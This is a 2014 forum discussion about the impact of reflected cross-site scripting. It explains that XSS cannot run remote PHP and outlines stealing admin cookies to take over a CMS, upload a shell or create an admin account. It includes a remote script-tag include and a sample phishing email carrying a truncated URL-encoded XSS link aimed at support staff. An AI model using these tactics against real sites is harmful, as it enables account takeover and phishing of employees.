The worst security implications of XSS are stealing the cookies of a user and being able to make requests to the server as their identity, in the case of an admin panel or CMS being used that might allow you to gain access to an admin panel you wouldn't otherwise be able to access.
You cannot load remote PHP code onto a site with XSS, PHP is run on the web server before the page is rendered and javascript is run in the clients browser after the page has rendered.
In your example you're trying to load remote PHP which only contains javascript, you can in fact load remote javascript through XSS, simply link a script tag to your hosted script, something like:
<script src="mywebsite.js"></script>
You can use XSS as part of larger attacks however, social engineering and things like that, getting admin credentials using XSS requires you to get a user with an admin account to follow your link and your script to reflect their cookies back to you, then you get into the CMS and possibly upload a shell or make your own admin account, etc.
XSS is more of a risk to user data and phishing than a direct threat to the security of the server itself.
(Sep 28, 2014 01:58 PM)cheatson Wrote: Meh. Nobody gives a shit about reflective XSS unless they have an established bounty program or you get lucky. If you have to explain why it is dangerous, the odds of getting anything out of it are slim to none is my feeling [Hidden exploit pack attacks; privilege escalation with session surfing and or in conjunction with CSRF/other complementary vulns]
I dunno about that, if you have any kind login system where some users have elevated privileges such admin/mod/author, then you can do a good social engineering attack with reflected XSS by sending them a link to follow, grabbing their credentials/cookies and elevating your own privs.
For example
Quote:Dear support team, I was browsing your website the other day and all the images stopped working, this link doesn't work in firefox or chrome
http://www.mywebsite.com/index.php?id=%3...9%70%74%3E
That link is going to get passed back probably to at least a CMS mod/author, and then maybe an admin/developer and god knows how many newbs in between.
Sometimes they'll be savvy enough to URL decode the link first, then browse the remote script first before using the link, most of the time not, that's a good attack vector any security team ought to be wary of.